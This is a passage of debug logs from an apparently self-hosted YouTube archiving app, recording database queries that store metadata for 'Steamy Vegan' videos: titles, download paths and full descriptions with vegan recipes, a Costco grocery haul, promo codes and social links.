to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I eat in a day | Meals on a HOT summer day!", 1, nil, false, "csmUMLsuQ7o", "https://www.youtube.com/watch?v=csmUMLsuQ7o", "/downloads/downloads/alec/Steamy Vegan/2023-07-18 VEGAN What I eat in a day | Meals on a HOT summer day!/VEGAN What I eat in a day | Meals on a HOT summer day! [csmUMLsuQ7o].NA", false, ~U[2023-07-18 00:00:00Z]] 20:31:08.204 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.208 [debug] QUERY OK source="media_items" db=3.0ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-15 00:00:00Z], 1] 20:31:08.214 [debug] QUERY OK source="media_items" db=5.0ms idle=11.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I tried making a Denny's Grand Slamwich Vegan Copycat recipe! Perhaps one of the best vegan breakfast sandwiches I've ever tasted... but is it close to the original?! Watch to find out!\n\nThe \u202A@dennys\u202C OG Grand Slamwich calls for spiced maple butter, potato bread, American cheese, scrambled egg, breakfast sausage crumbles, bacon and shaved ham . BUT since we are making it VEGAN we are using all plant-based alternatives. What a time to be alive!\n\nDENNY'S VEGAN GRAND SLAMWICH (serves 2)\n4 slices of your fave thick bread (potato bread, Hawaiian bread, Italian, etc.)\n½ block of maple bacon tempeh, crumbled into small chunks\n4 slices veggie ham, chopped (used \u202A@yvesveggiecuisine5819\u202C veggie ham)\n4 vegan breakfast sausage links (used \u202A@byndofficial\u202C breakfast sausage)\n½ bottle of liquid JustEgg (used \u202A@eatjust\u202C )\n4 sliced vegan cheddar cheese (used \u202A@violifefoods6499\u202C mature cheddar)\n2 tbsp room temp vegan butter + tsp maple syrup and pinch of cinnamon\n\n1. Heat up a large non-stick skillet or griddle on medium-high heat and spritz it with cooking spray. Add your vegan sausage links and break apart into smaller crumbles with a wooden spoon. Cook according to package directions until cooked through and golden brown, about 8 minutes.\n2. While the sausage cooks, add your maple bacon tempeh and chopped veggie ham to the skillet to cook alongside the sausage, until browning. You can mix it directly into the sausage crumbles at about the 4 minute mark of cooking the sausage.\n3. Once the vegan meats have become nice and golden brown, arrange them in an even layer in the centre of the skillet and pour in the JustEgg liquid directly overtop. Turn the heat to medium and cover the skillet with a lid, cook undisturbed for about 4 minutes. This will create a sort of meaty omelette. \n4. Flip the omelette over and cook for another 2 to 3 minutes, and then fold it in half directly in the skillet. Cut the omelette in half with the spatula or remove from the skillet and do so on a cutting board.\n5. In a small bowl, combine the vegan butter and maple syrup/cinnamon. Spread evenly on both sides of the 2 bread slices and carefully place on the hot skillet. Cook one side of the bread for 2 minutes until slightly golden and caramelized, then flip the pieces over to do the same for the other side.\n6. Immediately add 1 slice cheese to one slice of bread. Add the folded omelette half to 1 slice of bread, then top with 1 more slice of cheese and the remaining caramelized bread. Turn heat to medium-low, cover with a lid and cook for 4 minutes, allowing the cheese to melt and bread to crisp up. Repeat all of the above for the 2nd sandwich 😉\nENJOY!\n\nHey \u202A@dennys\u202C please consider adding this to your menu! 🤤\n\n\nWant more plant-based breakfast ideas? Watch the full BREAKFASTS PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Is this the BEST vegan breakfast sandwich?! DENNY'S GRAND SLAMWICH VEGAN COPYCAT!", "13e4de7e-3bee-4116-9a42-b44ccd3784a3", 1, [], false, "2bVKirxW6qY", "https://www.youtube.com/watch?v=2bVKirxW6qY", 287, "/downloads/downloads/alec/Steamy Vegan/2023-07-15 Is this the BEST vegan breakfast sandwich?! DENNY'S GRAND SLAMWICH VEGAN COPYCAT!/Is this the BEST vegan breakfast sandwich?! DENNY'S GRAND SLAMWICH VEGAN COPYCAT! [2bVKirxW6qY].NA", false, false, false, 1, ~U[2023-07-15 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I tried making a Denny's Grand Slamwich Vegan Copycat recipe! Perhaps one of the best vegan breakfast sandwiches I've ever tasted... but is it close to the original?! Watch to find out!\n\nThe \u202A@dennys\u202C OG Grand Slamwich calls for spiced maple butter, potato bread, American cheese, scrambled egg, breakfast sausage crumbles, bacon and shaved ham . BUT since we are making it VEGAN we are using all plant-based alternatives. What a time to be alive!\n\nDENNY'S VEGAN GRAND SLAMWICH (serves 2)\n4 slices of your fave thick bread (potato bread, Hawaiian bread, Italian, etc.)\n½ block of maple bacon tempeh, crumbled into small chunks\n4 slices veggie ham, chopped (used \u202A@yvesveggiecuisine5819\u202C veggie ham)\n4 vegan breakfast sausage links (used \u202A@byndofficial\u202C breakfast sausage)\n½ bottle of liquid JustEgg (used \u202A@eatjust\u202C )\n4 sliced vegan cheddar cheese (used \u202A@violifefoods6499\u202C mature cheddar)\n2 tbsp room temp vegan butter + tsp maple syrup and pinch of cinnamon\n\n1. Heat up a large non-stick skillet or griddle on medium-high heat and spritz it with cooking spray. Add your vegan sausage links and break apart into smaller crumbles with a wooden spoon. Cook according to package directions until cooked through and golden brown, about 8 minutes.\n2. While the sausage cooks, add your maple bacon tempeh and chopped veggie ham to the skillet to cook alongside the sausage, until browning. You can mix it directly into the sausage crumbles at about the 4 minute mark of cooking the sausage.\n3. Once the vegan meats have become nice and golden brown, arrange them in an even layer in the centre of the skillet and pour in the JustEgg liquid directly overtop. Turn the heat to medium and cover the skillet with a lid, cook undisturbed for about 4 minutes. This will create a sort of meaty omelette. \n4. Flip the omelette over and cook for another 2 to 3 minutes, and then fold it in half directly in the skillet. Cut the omelette in half with the spatula or remove from the skillet and do so on a cutting board.\n5. In a small bowl, combine the vegan butter and maple syrup/cinnamon. Spread evenly on both sides of the 2 bread slices and carefully place on the hot skillet. Cook one side of the bread for 2 minutes until slightly golden and caramelized, then flip the pieces over to do the same for the other side.\n6. Immediately add 1 slice cheese to one slice of bread. Add the folded omelette half to 1 slice of bread, then top with 1 more slice of cheese and the remaining caramelized bread. Turn heat to medium-low, cover with a lid and cook for 4 minutes, allowing the cheese to melt and bread to crisp up. Repeat all of the above for the 2nd sandwich 😉\nENJOY!\n\nHey \u202A@dennys\u202C please consider adding this to your menu! 🤤\n\n\nWant more plant-based breakfast ideas? Watch the full BREAKFASTS PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0 (truncated) 20:31:08.215 [debug] QUERY OK source="sources" db=0.6ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.218 [debug] QUERY OK source="media_items" db=2.4ms idle=13.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-11 00:00:00Z], 1] 20:31:08.221 [debug] QUERY OK source="media_items" db=2.4ms idle=13.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Come see what a GLUTEN-FREE VEGAN couple buys for groceries at Costco in Canada 🇨🇦 and how much it costs! In this grocery haul we show you every single product we bought at Costco Wholesale and some of our all time favourites. 😍\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this other grocery haul video from REAL CANADIAN SUPERSTORE ⬇️\n\u202A@realcanadiansuperstore6355\u202C \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Grocery\u00A0Haul\u00A0/\u00A0Whole\u00A0Foods\u00A0Plant\u00A0Bas...\u00A0\u00A0\n\nWatch our 'WHAT I EAT IN A DAY' videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What a GLUTEN-FREE VEGAN Couple Eats in a Week from Costco 🇨🇦 Shop With Me Grocery Haul", "564da326-d5ab-4d30-89ae-e1705cafd72f", 1, [], false, "jAYYFNCSeas", "https://www.youtube.com/watch?v=jAYYFNCSeas", 288, "/downloads/downloads/alec/Steamy Vegan/2023-07-11 What a GLUTEN-FREE VEGAN Couple Eats in a Week from Costco 🇨🇦 Shop With Me Grocery Haul/What a GLUTEN-FREE VEGAN Couple Eats in a Week from Costco 🇨🇦 Shop With Me Grocery Haul [jAYYFNCSeas].NA", false, false, false, 1, ~U[2023-07-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Come see what a GLUTEN-FREE VEGAN couple buys for groceries at Costco in Canada 🇨🇦 and how much it costs! In this grocery haul we show you every single product we bought at Costco Wholesale and some of our all time favourites. 😍\n\nLeave us a comment and let us know what you love to buy at Costco! We'd also love to know what Costco USA 🇺🇸 has for vegans as we're only 45 minutes away from a US location over the border. 🚗\n\nCheck out this other grocery haul video from REAL CANADIAN SUPERSTORE ⬇️\n\u202A@realcanadiansuperstore6355\u202C \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Grocery\u00A0Haul\u00A0/\u00A0Whole\u00A0Foods\u00A0Plant\u00A0Bas...\u00A0\u00A0\n\nWatch our 'WHAT I EAT IN A DAY' videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What a GLUTEN-FREE VEGAN Couple Eats in a Week from Costco 🇨🇦 Shop With Me Grocery Haul", 1, nil, false, "jAYYFNCSeas", "https://www.youtube.com/watch?v=jAYYFNCSeas", "/downloads/downloads/alec/Steamy Vegan/2023-07-11 What a GLUTEN-FREE VEGAN Couple Eats in a Week from Costco 🇨🇦 Shop With Me Grocery Haul/What a GLUTEN-FREE VEGAN Couple Eats in a Week from Costco 🇨🇦 Shop With Me Grocery Haul [jAYYFNCSeas].NA", false, ~U[2023-07-11 00:00:00Z]] 20:31:08.222 [debug] QUERY OK source="sources" db=0.8ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.225 [debug] QUERY OK source="media_items" db=2.1ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-08 00:00:00Z], 1] 20:31:08.228 [debug] QUERY OK source="media_items" db=2.4ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome to a day in the life of a YouTuber! I'm showing you what I eat in a day as a vegan who's trying to eat a whole food plant based diet as much as possible 😊 As a content creator, every day as always a little different as there's always so much to do! Cooking, cleaning, filming, editing, grocery shopping, planning, there's a lot that goes into making recipes and creating videos.\n\nHope you enjoy this look into a typical day of a vegan food YouTuber!\n\nFOODS I ATE AND BOUGHT IN THIS VIDEO\nDilly White Bean & Broccoli Quinoa Salad ➡️ \u00A0\u00A0\u00A0•\u00A0THIS\u00A0White\u00A0Bean\u00A0Quinoa\u00A0Salad\u00A0is\u00A0the\u00A0PERFEC...\u00A0\u00A0\nTofu Ricotta \u202A@sunrisesoyafoods\u202C ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0HIGH\u00A0PROTEIN\u00A0Vegan\u00A0Breakfast\u00A0Ideas!\u00A0\u00A0\nJust Egg \u202A@eatjust\u202C \nZevia Zero Calorie Soda \u202A@zevia\u202C \n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nhttps://thmatc.co/?l=EAA3E263", "VEGAN what I eat in a day | easy and realistic meals on a busy day", "06b61fe6-430f-4173-b082-77a8df583f91", 1, [], false, "o2QS_QcY6q0", "https://www.youtube.com/watch?v=o2QS_QcY6q0", 289, "/downloads/downloads/alec/Steamy Vegan/2023-07-08 VEGAN what I eat in a day | easy and realistic meals on a busy day/VEGAN what I eat in a day | easy and realistic meals on a busy day [o2QS_QcY6q0].NA", false, false, false, 1, ~U[2023-07-08 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Welcome to a day in the life of a YouTuber! I'm showing you what I eat in a day as a vegan who's trying to eat a whole food plant based diet as much as possible 😊 As a content creator, every day as always a little different as there's always so much to do! Cooking, cleaning, filming, editing, grocery shopping, planning, there's a lot that goes into making recipes and creating videos.\n\nHope you enjoy this look into a typical day of a vegan food YouTuber!\n\nFOODS I ATE AND BOUGHT IN THIS VIDEO\nDilly White Bean & Broccoli Quinoa Salad ➡️ \u00A0\u00A0\u00A0•\u00A0THIS\u00A0White\u00A0Bean\u00A0Quinoa\u00A0Salad\u00A0is\u00A0the\u00A0PERFEC...\u00A0\u00A0\nTofu Ricotta \u202A@sunrisesoyafoods\u202C ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0HIGH\u00A0PROTEIN\u00A0Vegan\u00A0Breakfast\u00A0Ideas!\u00A0\u00A0\nJust Egg \u202A@eatjust\u202C \nZevia Zero Calorie Soda \u202A@zevia\u202C \n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nhttps://thmatc.co/?l=EAA3E263", "VEGAN what I eat in a day | easy and realistic meals on a busy day", 1, nil, false, "o2QS_QcY6q0", "https://www.youtube.com/watch?v=o2QS_QcY6q0", "/downloads/downloads/alec/Steamy Vegan/2023-07-08 VEGAN what I eat in a day | easy and realistic meals on a busy day/VEGAN what I eat in a day | easy and realistic meals on a busy day [o2QS_QcY6q0].NA", false, ~U[2023-07-08 00:00:00Z]] 20:31:08.230 [debug] QUERY OK source="sources" db=1.1ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.232 [debug] QUERY OK source="media_items" db=2.2ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-05 00:00:00Z], 1] 20:31:08.235 [debug] QUERY OK source="media_items" db=1.7ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These Vegan Sheet Pan Fajitas are both meal prep and budget-friendly! A fabulous easy vegan recipe that is high-protein, whole food plant based, and absolutely DELICIOUS! If you love Mexican-inspired food then these vegan sheet pan fajitas will be a family favorite in your weekly meal rotation.\n\nWant more Mexican-inspired recipes? These other recipes might interest you!\nNacho Salad ➡️ \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nThe BEST Guacamole ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\nThe BEST Mango Pico de Gallo ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\nInstant Pot Refried Beans ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n\nVEGAN SHEET PAN FAJITAS\n½ package of soy curls, rehydrated OR\n1 block extra firm tofu or tempeh, cubed\n3 different coloured bell peppers, sliced intro strips lengthwise\n½ large red onion, sliced into strips lengthwise\n½ lb. white or brown mushrooms, sliced\n1 tbsp neutral oil or cooking spray\nSPICES\n½ tbsp chili powder\n½ tbsp cumin\n1 tsp garlic powder\n½ tsp paprika\n½ tsp oregano\n½ tsp salt\n¼ tsp pepper\n\n1. Preheat your oven to 400°F. \n2. Grab yourself 1 to 2 large sheet pans and arrange all your prepared veggies and protein evenly between them. \n3. Add all your spices to a small jar and shake them up to mix them together. Spread the spices evenly over your sheet pan veggies. \n4. Add ½ tbsp oil over each sheet pan (or 1 tbsp if just using 1) or lightly spray each one with cooking spray, then use yours hands to coat all the veggies in the spices and oil.\n5. Bake in the oven for 35 to 40 minutes, flipping the veggies over and rotating the pans halfway to ensure even cooking, until the veggies have softened and are slightly golden on the edges.\n6. Serve with tortillas or over a bowl of greens and grains with some lime juice, salsa and vegan sour cream and ENJOY!\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN MEAL PREP: Sheet Pan Fajitas for Budget-Friendly Eating", "58dce46f-8b45-4c05-9360-16ddeda9dfee", 1, [], false, "LTd8r85Pse4", "https://www.youtube.com/watch?v=LTd8r85Pse4", 290, "/downloads/downloads/alec/Steamy Vegan/2023-07-05 VEGAN MEAL PREP: Sheet Pan Fajitas for Budget-Friendly Eating/VEGAN MEAL PREP: Sheet Pan Fajitas for Budget-Friendly Eating [LTd8r85Pse4].NA", false, false, false, 1, ~U[2023-07-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These Vegan Sheet Pan Fajitas are both meal prep and budget-friendly! A fabulous easy vegan recipe that is high-protein, whole food plant based, and absolutely DELICIOUS! If you love Mexican-inspired food then these vegan sheet pan fajitas will be a family favorite in your weekly meal rotation.\n\nWant more Mexican-inspired recipes? These other recipes might interest you!\nNacho Salad ➡️ \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nThe BEST Guacamole ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\nThe BEST Mango Pico de Gallo ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\nInstant Pot Refried Beans ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\n\nVEGAN SHEET PAN FAJITAS\n½ package of soy curls, rehydrated OR\n1 block extra firm tofu or tempeh, cubed\n3 different coloured bell peppers, sliced intro strips lengthwise\n½ large red onion, sliced into strips lengthwise\n½ lb. white or brown mushrooms, sliced\n1 tbsp neutral oil or cooking spray\nSPICES\n½ tbsp chili powder\n½ tbsp cumin\n1 tsp garlic powder\n½ tsp paprika\n½ tsp oregano\n½ tsp salt\n¼ tsp pepper\n\n1. Preheat your oven to 400°F. \n2. Grab yourself 1 to 2 large sheet pans and arrange all your prepared veggies and protein evenly between them. \n3. Add all your spices to a small jar and shake them up to mix them together. Spread the spices evenly over your sheet pan veggies. \n4. Add ½ tbsp oil over each sheet pan (or 1 tbsp if just using 1) or lightly spray each one with cooking spray, then use yours hands to coat all the veggies in the spices and oil.\n5. Bake in the oven for 35 to 40 minutes, flipping the veggies over 